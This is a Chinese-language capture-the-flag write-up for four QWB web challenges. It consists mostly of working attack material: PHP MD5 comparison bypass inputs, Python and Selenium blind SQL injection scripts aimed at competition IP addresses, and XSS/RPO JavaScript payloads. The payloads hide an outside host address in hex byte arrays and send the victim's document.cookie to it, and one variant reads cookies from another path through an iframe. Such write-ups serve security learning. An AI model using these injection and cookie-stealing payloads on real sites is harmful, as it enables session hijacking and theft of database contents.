Web Check-in
level 1
<?php
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2']))
{
die("success!");}
?>
php弱类型相等,找到两个字符串的前两位均为0e,后30位均为[0-9a-f]即可
param1=240610708¶m2=QNKCDZO
level 2
<?php
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
{
die("success!");
}
?>
数组绕过即可,md5()以及sha1()对数组均返回为NULL
param1[]=1¶m2[]=2
level 3
<?php
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
{
die("success!);
}
?>
如果参数为数组的话,经过string的强制类型转换后,均为字符串”Array”。另外md5与sha1函数对php对象返回也为空,但这里也无法传递对象,所以此法无效。所以真的要找一对MD5相同的二进制数据,url编码post提交即可(1,2,3均可过),MD5碰撞的一些例子
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2¶m2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
flag:QWB{s1gns1gns1gnaftermd5}
Three hit
- 注册点发现需要填年龄,检查了是不是数值,正常登录发现会有谁谁谁和你的年龄一样的信息,典型二次注入
- 注册年龄处为注入点,虽然由php做是否为数字的检查,可用十六进制绕过,存到mysql数据库中已经是十六进制转换完的字符串了
- 此题的最后选出和你年龄一样的结果是最近的一条数据,总在变化
- 没有报错信息,也无法联合查询,所以采取盲注
- 猜出了select flag from flag
编写脚本登录加注册如下,每次更换payload要更改用户名
# -*-coding:utf-8-*-
import requests
import time
import binascii
flag = ""
register= "http://39.107.32.29:10000/index.php?func=register"
login ="http://39.107.32.29:10000/index.php?func=login"
profile="http://39.107.32.29:10000/profile.php"
for i in range(1,32):
for j in range(33,127):
#payload=b"1 and ascii(substr((user()),%s,1)) > %s"%(i,j)
payload=b"1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1)) > %s"%(i,j)
p1 = binascii.b2a_hex(payload)
p2 = "0x"+p1
rdata = {
"username":"gogodena%s%s"%(i,j),
"password":"gogodena%s%s"%(i,j),
"age":p2
}
ldata={
"username":"gogodena%s%s"%(i,j),
"password":"gogodena%s%s"%(i,j)
}
r1 = requests.post(url=register,data=rdata)
time.sleep(0.5)
r2 = requests.session()
r2.post(url=login,data=ldata)
time.sleep(0.5)
f = r2.get(url=profile)
if "no one in our database" in f.text:
flag += chr(j)
print flag
break
flag:QWB{M0b4iDalao0rz0rz}
Python is the best language 1
- 本以为要看flask的源码,后来随便又试出了盲注,在登陆点的用户名处
- 先注册一个用户,然后在登陆点拼接盲注的payload即可
- 但要注意这题会有一个csrf-token的验证,而且返回经常超时
- 所以直接用selenium模拟登陆更能看清楚出错状况
- 数据库经常出错,迫使递增改成了二分,脚本如下
- 爆出表名flaaaaag,猜出字段名flllllag
from selenium import webdriver
from time import sleep
chromedriver = "/Applications/Google Chrome.app/Contents/MacOS/chromedriver"
browser = webdriver.Chrome(chromedriver)
flag = ""
login ="http://117.50.16.51:20000/login?next=%2Findex"
password="gogodena"
def judge(num,mid):
try:
payload ="gogodena' and ascii(substr((select flllllag from flaaaaag),%s,1)) > %s and '1'='1"%(num,mid)
browser.get(login) # Load page
sleep(3)
#loginwindow = browser.current_window_handle
browser.find_element_by_id('username').send_keys(payload)
print payload
browser.find_element_by_id('password').send_keys(password)
browser.find_element_by_id('submit').click()
sleep(3)
try:
if(browser.find_element_by_id('post')):
browser.get("http://117.50.16.51:20000/logout")
return 1
except:
return 0
except:
print 'error'
for i in range(1,30):
low =33
high=127
while low < high:
mid=int((low+high)/2)
if judge(i,mid):
low=mid+1
else:
high = mid
if (low==high):
flag+=chr(low)
print flag
break
flag:QWB{us1ng_val1dator_caut1ous}
Share your mind
html实体编码
一开始以为是在发文章那里有问题,检查到模板源码:
<?php echo htmlspecialchars($this->view[$i]->title, ENT_QUOTES);?>
<?php echo htmlspecialchars($this->view[$i]->content, ENT_QUOTES);?>
这种再怎么也绕过不去,尖括号和引号怎么也折腾不出来。
奇怪的xss点
后来在报告url那里直接填<script>
:
http://39.107.33.96:20000/index.php/report <script src='http://39.107.33.96:20000/QWB_fl4g/QWB/index.php' >window.open('http://103.42.28.252/b/?msg='+document.cookie)</script>
打到了如下地址:
http://39.107.33.96:20000/v1ewth3report.php
居然能执行,开始能打到cookie里的hint,后来也打不到了,估计是非预期吧,但是这的js为啥被执行呢?猜测原因:
- index.php/report将提交的整个字符串存好
- 当Bot去访问v1ewth3report.php时,把选手提交的url显示出来
- Bot按照一定的规则去访问页面中的链接
显然这里并没有好好地匹配url地址,导致bot在访问v1ewth3report.php时,js代码一样被显示并且运行。就是我们提交的url经过了一个php页面才给bot,没有直接通过参数的方式交给bot,这才导致我们提交的js被执行。
RPO攻击
相对路径与截断
发现view页面底部的的js链接使用了相对路径
<script src="../static/js/jquery.min.js"></script>
<script src="../static/js/bootstrap.min.js"></script>
而且发现,当我们发一篇文章然后访问
http://39.107.33.96:20000/index.php/view/article/705/aadaasdasdas
文章id号后面的部分会被截断,所以当构造:
http://39.107.33.96:20000/index.php/view/article/705/a/..%2F..%2F..%2F
服务端解析正确,实际上返回的是view页面,而view页面中的../static/js/jquery.min.js把这个链接拼到url后:
http://39.107.33.96:20000/index.php/view/article/705/a/..%2F..%2F..%2F/../static/js/jquery.min.js
就是:
http://39.107.33.96:20000/index.php/view/article/705/a/static/js/jquery.min.js
705后面的内容被截断,于是你发的文章的内容直接就被当成js解析,不用尖括号呦!!!
漏洞利用
- 这里html实体编码影响到了引号,本来想用jsfuck的,但是发现太长被截断了,所以改用数字拼
- 另外标题不填可以不产生
<h>
标签,js才不会报错
发文章,不写标题,文章内容如下:
var shttp=[0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x31,0x30,0x33,0x2E,0x34,0x32,0x2E,0x32,0x38,0x2E,0x32,0x35,0x32,0x2F,0x62,0x2F,0x3F,0x63,0x6F,0x6F,0x6B,0x69,0x65,0x3D];
function decode(a){
var b=[];
for (i in a){
b=b+String.fromCharCode(a[i]);
}
return b;
}
window.open(decode(shttp)+document.cookie);
爆破验证码:
import hashlib
for i in range(1000000):
fd = hashlib.md5()
fd.update(str(i))
x = fd.hexdigest()
if(x[0:6] == 'a24bec'):
print i
break
提交url:
http://39.107.33.96:20000/index.php/view/article/705/a/..%2F..%2F..%2F
得到hint:
HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
获取不同路径cookie
当前路径是/index.php/view/article/705/a/,而要获取/QWB_fl4g/QWB/这个路径下的cookie,所以应该是设置了cookie的path属性,这两路径虽然不同,但是仍然属于同源,所以可以用iframe获取子页面document以及cookie:
var shttp=[0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x31,0x30,0x33,0x2E,0x34,0x32,0x2E,0x32,0x38,0x2E,0x32,0x35,0x32,0x2F,0x62,0x2F,0x3F,0x63,0x6F,0x6F,0x6B,0x69,0x65,0x3D];
var sif=[0x69,0x66,0x72,0x61,0x6D,0x65];
var sindex=[0x2F,0x51,0x57,0x42,0x5F,0x66,0x6C,0x34,0x67,0x2F,0x51,0x57,0x42,0x2F];
var sid=[0x67,0x67];
function decode(a){
var b=[];
for (i in a){
b=b+String.fromCharCode(a[i]);
}
return b;
}
var iframe = document.createElement(decode(sif));
iframe.src=decode(sindex);
document.body.appendChild(iframe);
iframe.id=decode(sid);
iframe.onload=function(){
window.open(decode(shttp)+document.getElementById(decode(sid)).contentWindow.document.cookie);
}
flag:QWB{flag_is_f43kth4rpo}
失败思路
除了用iframe读取到子页面的cookie以外,还尝试了很多办法都没成功,如下:
xhr
希望通过在当前路径下的页面去请求/QWB_fl4g/QWB/页面,但是实际上我们仍然无法再头部信息或者相应中找到cookie信息,如果这个页面设置的是管理员查看可以显示flag,此法就行得通了。
var shttp=[0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x31,0x30,0x33,0x2E,0x34,0x32,0x2E,0x32,0x38,0x2E,0x32,0x35,0x32,0x2F,0x62,0x2F,0x3F,0x63,0x6F,0x6F,0x6B,0x69,0x65,0x3D];
var sget=[0x47,0x45,0x54];
var sindex=[0x2F,0x51,0x57,0x42,0x5F,0x66,0x6C,0x34,0x67,0x2F,0x51,0x57,0x42,0x2F,0x69,0x6E,0x64,0x65,0x78,0x2E,0x70,0x68,0x70];
function decode(a){
var b=[];
for (i in a){
b=b+String.fromCharCode(a[i]);
}
return b;
}
var a = new XMLHttpRequest();
a.open(decode(sget), decode(sindex),false);
a.send(null);
if(a.status == 200){
window.open(decode(shttp)+escape(a.getAllResponseHeaders())+a.responseText+escape(document.URL)+document.cookie);
}
通过RPO构造路径
希望构造一个/QWB_fl4g/QWB/路径下的RPO,但只构造出如下:
http://39.107.33.96:20000/QWB_fl4g/QWB/..%2f..%2findex.php%2fview%2farticle%2f705/a/..%2f..%2f..%2f
服务端正确解释%2f,仍为加载攻击载荷的view页面
http://39.107.33.96:20000/QWB_fl4g/QWB/../../index.php/view/article/705/a/../../../
浏览器认为的路径是:
QWB_fl4g/
QWB/
..%2f..%2findex.php%2fview%2farticle%2f705/
a/
..%2f..%2f..%2f
虽然是QWB_fl4g/QWB/的子目录,但也无法得到父目录的cookie。不成功的原因是因为/a/这两个斜杠必须存在,如果改成如下:
http://39.107.33.96:20000/QWB_fl4g/QWB/..%2f..%2findex.php%2fview%2farticle%2f705%2fa%2f..%2f..%2f..%2f
虽然路径正确了,但加载js的路径就变为:
http://39.107.33.96:20000/QWB_fl4g/static/js/jquery.min.js
无法触发攻击载荷,此路不通!
phpinfo
本题里没有找到phpinfo,但就算找到也需要是在/QWB_fl4g/QWB/路径下的phpinfo。但对于设置了http-only的cookie,无法用js通过document读取的,所以要想办法获取到http的头,如果当前网站存在phpinfo,可以用xss去打xss然后返回结果就好了!
PhantomJs的黑魔法?
并没有!
尝试在各处使用PhantomJs的api获得cookie,但实际上是可笑的。PhantomJs可以看做一个浏览器,而页面中的js与浏览器交互是通过windows对象,我们是无法从PhantomJs中webpage的open方法中跳出来的。另外也不存在java的反射机制,无法去用在网页也面的js里使用PhantomJs的api的。现在也并不知道提示bot为PhantomJs为何意。
参考: PhantomJS参考教程
iframe用错了!
一开始写了如下的代码:
var iframe = document.createElement(decode(sif));
iframe.src=decode(sindex);
document.body.appendChild(iframe);
iframe.id=decode(sid);
window.open(decode(shttp)+document.getElementById(decode(sid)).contentWindow.document.cookie);
死活就是打不到flag,一度认为此法也不同,后来是发现没有使用iframe.onload函数,没等到iframe加载就返回了cookie,所以失败